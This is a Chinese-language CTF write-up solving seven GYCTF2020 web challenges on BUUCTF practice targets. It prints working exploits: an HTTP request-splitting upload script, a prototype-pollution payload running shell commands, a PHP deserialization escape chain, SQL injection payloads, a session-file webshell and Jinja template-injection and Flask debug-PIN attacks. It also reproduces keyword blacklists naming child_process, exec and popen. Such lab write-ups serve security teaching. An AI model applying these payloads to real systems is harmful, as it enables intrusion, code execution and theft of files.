BUUCTF-GYCTF2020

[WEB]Node Game

代码审计

可以查看源码,代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});

app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}

var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})

通过审计发现存在以下功能:

1
2
3
4
'/' //index
post /file_upload //文件上传
get /source //查看源码
get /core //存在SSRF

漏洞分析

核心代码分析:

get /core 存在SSRF,对我们传入的q参数进行拼接:

1
url = 'http://localhost:8081/source?' + q

然后通过blacklist函数进行验证,blacklist函数:

1
2
3
4
5
6
7
8
9
10
function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}

对敏感函数进行了过滤。

post /file_upload 是个文件上传的地方,需要满足以下条件:

1
ip.includes('127.0.0.1')

首页还存在提示:

image-20210417203836999

存在SSRF+nodejs 想到了http拆分攻击,Node 版本为 8.12.0,存在漏洞,因此可以利用上传功能。

提示了pug,同时模板渲染采用的是pug引擎:

image-20210417204312204

看一下 pug 引擎文档:

从代码可以看到存在一个/template模板目录,存放着后缀为pug的模板文件,看下文档里边的包含语法,那么我们可以上传一个pug文件,pug文件里写入恶意的包含代码,包含我们要读的文件,在模板渲染的时候就会包含目标文件。

1
2
3
4
5
6
7
//- index.pug
doctype html
html
head
style
include style.css

思路就很明显了,因为限制了本地上传我们利用nodejs 的SSRF构造一个post请求,上传pug文件,包含读取任意文件。

漏洞利用

构造post请求,采用抓包的方法获取上传请求:

image-20210417205203592

直接上传会提示:

image-20210417205421796

构造exp:利用nodejs ssrf构造post请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#-*-coding:utf-8
import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive


POST /file_upload HTTP/1.1
Host: x
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------303312354614442
Content-Length: 317

-----------------------------303312354614442
Content-Disposition: form-data; name="file"; filename="v1sun.pug"
Content-Type: /../template

//- v1sun.pug
doctype html
html
head
style
include ../../../../../../../../../../../../flag.txt

-----------------------------303312354614442--


GET /flag HTTP/1.1
Host: x
Connection: close
x:'''

payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
#print(payload)
#print (urllib.parse.quote(payload))

r = requests.get('http://1b1aa7a2-6ecd-4a57-b9de-5bbebae5c2a0.node3.buuoj.cn/core?q='+ urllib.parse.quote(payload))
print(r.text)

Content-Type处存在一个小trick,利用nodejs的目录穿越,上传到模板目录:

image-20210417211406073

1
Content-Type: /../template

同时要修改:Connection: keep-alive 以至于让我们的所有请求包含进去

上传后访问:?action=v1sun 查看源码就得到flag

image-20210417210637714

[WEB]Ez_Express

题目分析

image-20210404212051710

但是ADMIN注册不了,利用TEST注册登录后查看源码:TEST 123456

image-20210404212126997

下载源码

代码审计

审计发现是nodejs:app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
const session = require('express-session')
const randomize = require('randomatic')
const bodyParser = require('body-parser')

var indexRouter = require('./routes/index');

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.disable('etag');
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};

// render the error page
res.status(err.status || 500);
res.render('error');
});

module.exports = app;

app.js没什么特别关注的点。

index.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

看到了js原型链污染漏洞的标志性函数:merge 应该就是原型链污染了。

但是看到:

image-20210417215614572

ADMIN用户才可以触发clone 进而利用merge。但是限制了admin注册,看下注册登陆处:

image-20210417215955907

注册处会有验证,但是后边写入session的时候会经过toUpperCase()函数的处理,不由得想到了nodejs的大小写转换特性:

对于toUpperCase():

1
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase():

1
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

在绕一些规则的时候就可以利用这几个特殊字符进行绕过

漏洞利用

可见我们要想得到ADMIN 可以注册admın 经过处理就得到ADMIN

image-20210417220456007

成功登陆。接下来就是原型链污染,首先寻找污染参数,看到存在outputFunctionName,并且res.outputFunctionName=undefined;在index页面渲染,那么可以构造payload污染参数,通过info页面触发,因为不能回显,可以反弹shell或者写入到一个文件内然后访问:

image-20210417225148836

1
2
Content-Type: application/json
{"__proto__":{"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag > /app/public/flag');var _tmp2"}}

路径通过报错得到:

image-20210417224237777

image-20210417224604692

image-20210417224723183

然后访问/flag 得到flag。

[WEB]Easyphp

题目分析

扫描目录发现:

image-20210404184917405

存在备份文件,下载代码审计:

admin 进入update页面 可得到flag

image-20210404185032670

查看是否存在注入:

image-20210404185139780

存在预处理,因此无法注入

查询的sql语句为:

1
select id,password from user where username=?

查询admin用户的密码,密码和数据库相等则登陆成功。

通过控制执行的语句即可绕过登录admin:

1
2
select id,"202cb962ac59075b964b07152d234b70" from user where username=?  
//"202cb962ac59075b964b07152d234b70"为123的MD5,密码输入123即可

接下来就是利用反序列化漏洞,构造pop链去执行sql语句:

image-20210404190050208

1
UpdateHelper类在结束时 会echo 调用魔术方法

image-20210404190403536

1
触发User的__toString()方法

image-20210404190518655

1
调用Info的__call()方法

image-20210404191205555

1
__call 方法调用了login

这里可以:

1
2
$this->CtrlCase 为dbCtrl类
login参数为:$this->age传进来的

pop 链:

1
UpdateHelper::__destruct()->User::__toString()->Info::__call->dbCtrl::login

image-20210404194116259

1
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"202cb962ac59075b964b07152d234b70" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:3:"123";}}}}

寻找反序列化入口:

image-20210404195102818

update页面会调用update方法:

image-20210404194612300

可见$_POST['age']$_POST['nickname']可控,传入Info类实例化,然后反序列化,再经过safe函数处理。

可见如果我们直接传入payload,那么payload不会被识别为对象,而是字符串,但是这里我们看到了典型的反序列化字符串逃逸的形式,可以利用字符串逃逸:

image-20210404211512856

可见是一个字符增加的字符串逃逸。

漏洞利用

Info()类正常序列化:

1
O:4:"Info":3:{s:3:"age";s:7:"testage";s:8:"nickname";s:8:"testname";s:8:"CtrlCase";N;}

当把我们把payload作为nickname值传进去,为了拼接闭合,对payload改一下:

1
";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"202cb962ac59075b964b07152d234b70" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:3:"123";}}}}}

即把payload当做Info()类正常序列化的N值,最后加}闭合,序列化之后:

1
O:4:"Info":2:{s:3:"age";s:1:"1";s:8:"nickname";s:265:"";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"202cb962ac59075b964b07152d234b70" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:3:"123";}}}}}";}

可见要让我们的payload逃逸出来,必须多出265个字符,一个字符用一个union 替换为hacker,可见需要265个union,即nickname为:

1
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"202cb962ac59075b964b07152d234b70" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:3:"123";}}}}}

序列化一下并用safe函数处理:

1
O:4:"Info":2:{s:3:"age";s:1:"1";s:8:"nickname";s:1590:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"202cb962ac59075b964b07152d234b70" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:3:"123";}}}}}";}

image-20210404211056046

可见可以逃逸出来,因此payload:

1
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"202cb962ac59075b964b07152d234b70" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:3:"123";}}}}}

image-20210404211250655

登录页面 用户名admin 密码任意:

image-20210404211322225

[WEB]Blacklist

题目分析

首先查询,发现和强网杯的很像

image-20210404124133764

因此尝试堆叠注入,过滤字符:

image-20210404124229017

因此无法改名,也无法用预处理语句。

通过查资料 发现可以利用handler语句

image-20210404130143408

可见flag在FlagHere

Getflag

构造语句查一下第一行数据:

1
2
3
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
1
1';handler `FlagHere` open;handler `FlagHere` read first;handler `FlagHere` close;

image-20210404130502802

直接查到了flag。

[WEB]Ezsqli

题目分析

sql注入题目,通过测试发现是整数型注入,过滤的函数比较多, 利用burpsuit-fuzz过滤的函数:

发现and、or等函数都过滤了:

image-20210404135430569

发现^没有过滤,采用^测试注入点:

1
2
id=1^0%23
id=1^1%23

image-20210404135535230

image-20210404135616538

image-20210404135712369

返回错误

image-20210404135756770

返回正确。

发现存在注入。

image-20210404140526716

image-20210404140614551

接下来就构造注入语句,因为过滤了or,所以无法使用information_schema

绕过函数:

1
2
3
4
5
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.x$schema_flattened_keys
join无列名注入

构造查表语句:

判断逻辑:返回Nu1L说明payload为1对,语句成立

返回Error Occured When Fetch Result payload为0,语句不成立

1
2
查表名:
id=1^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema=database()),{},1))={})^1

image-20210404152201048

可见表名:f1ag_1s_h3r3_hhhhh

下面用无列名注入,利用到了ascii位偏移:

两个字符串比较时利用首字符的ascii码

核心payload:(select 'admin','admin')>(select * from users limit 1)

//子查询之间也可以直接通过>、<、=来进行判断。

测试字段:

1
2
3
select 1
select 1,2
select 1,2,3

image-20210404160620528

image-20210404160633320

image-20210404160645953

构造payload:

1
id=1^((select 1,'f')>(select * from f1ag_1s_h3r3_hhhhh))^1

image-20210404160225767

image-20210404160241590

可见Nu1L页面的上一位就是我们要查询的值.

Getflag

image-20210404160710227

成功查询到flag。

[WEB]EasyThinking

题目分析

题目存在注册,登录,搜索功能,注册后登录搜索测试,发现个人中心会显示搜索记录。根据首页信息:

image-20210419105853980

猜测搜索处存在利用点。扫描目录发现存在www.zip,下载源码审计,发现是TP框架,找到功能点核心代码:发现search 处session存储,同时TP是6.0版本:

参考:https://paper.seebug.org/1114/

参考:https://xz.aliyun.com/t/8409

TP6session文件存储存在的任意文件操作漏洞,我们可以写入shell,文件路径\runtime\session,文件名为32位就可以,构造后缀为.php的32位字符串,访问sess_+文件名

漏洞利用

从注册的时候开始修改:

image-20210419140614233

注册后search 页面 提交key,先写入<?php phpinfo();?>

image-20210419141030952

然后访问看下:http://xx/runtime/session/sess_b1d19886ab14c0d8340ddf637c17.php

image-20210419141426271

image-20210419142246746

写入一句话,蚁剑连接发现执行不了命令,看下phpinfo:

image-20210419141512122

发现需要bypass disable_functions,php版本为7.3,直接利用蚁剑插件 php7-Backtrace-UAF bypass:

image-20210419145536851

[WEB]FlaskApp

题目分析

根据题目提示是个flask的base64加密、解密程序,加密结果会在首页显示,还存在一个hint页面:

image-20210419150702201

查看源码发现提示PIN 猜测可能是Flask debug Pin码攻击,现在重点就是结合其他漏洞获取必要信息,通过反复测试发现解密的时候输入非base64,识别不了就会报错,同时可以查看部分源码:

image-20210419151659872

可以看到如果输入的值解密后能够绕过waf,那么就会执行。那么现在的思路就是构造payload然后base64加密,之后解密执行。

漏洞利用

采用if条件语句防止被过滤:

1
2
3
4
5
6
7
8
9
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{
c.__init__.__globals__['__builtins__'].open('app.py', 'r').read()
}}
{% endif %}
{% endfor %}

eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX0NCnslIGlmIGMuX19uYW1lX189PSdjYXRjaF93YXJuaW5ncycgJX0NCnt7IA0KYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignYXBwLnB5JywgJ3InKS5yZWFkKCkNCn19DQp7JSBlbmRpZiAlfQ0KeyUgZW5kZm9yICV9

image-20210419154846170

可以得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)

def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")

def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")

def not_found(name):
return render_template("404.html",name = name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
1
['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'

重点在waf:

1
2
3
4
5
6
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

可见过滤了命令执行常用函数,不能采用命令执行的方式。

继续读一下必要信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
username #读取/etc/passwd
//本题:flaskweb
modname #flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__'))为Flask
getattr(mod, '__file__', None)为flask目录下的一个app.py的绝对路径
//本题通过报错得到路径:/usr/local/lib/python3.7/site-packages/flask/app.py
uuid.getnode()就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式
//获取方式:/sys/class/net/eth0/address
//本题:02:42:ac:10:af:49 转化为十进制(python print(0x0242ac10af49)) 2485377871689
get_machine_id()
//读取/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值
//windows读取注册表:SOFTWARE\\Microsoft\\Cryptography
//docker下:/proc/self/cgroup
//本题:0f9cec5a9c55ef59cc02311c79ae092fb42cafa6e918bac08ea04a94f320c249

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*-coding:utf-8
# From https://xz.aliyun.com/t/2553

import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377871689',#str(uuid.getnode()), /sys/class/net/ens0/address
'0f9cec5a9c55ef59cc02311c79ae092fb42cafa6e918bac08ea04a94f320c249'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

信息修改完整后运行得到 pin码:410-898-797

读文件:

1
2
3
import os
os.listdir('/')
os.popen('cat /this_is_the_flag.txt').readlines()

image-20210419200900612

有大佬直接利用读文件非预期了,我们知道可以读取任意文件,Payload:

1
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

image-20210419210055982

1
2
3
4
5
6
7
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{
c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1], 'r').read()
}}
{% endif %}
{% endfor %}

image-20210419201816421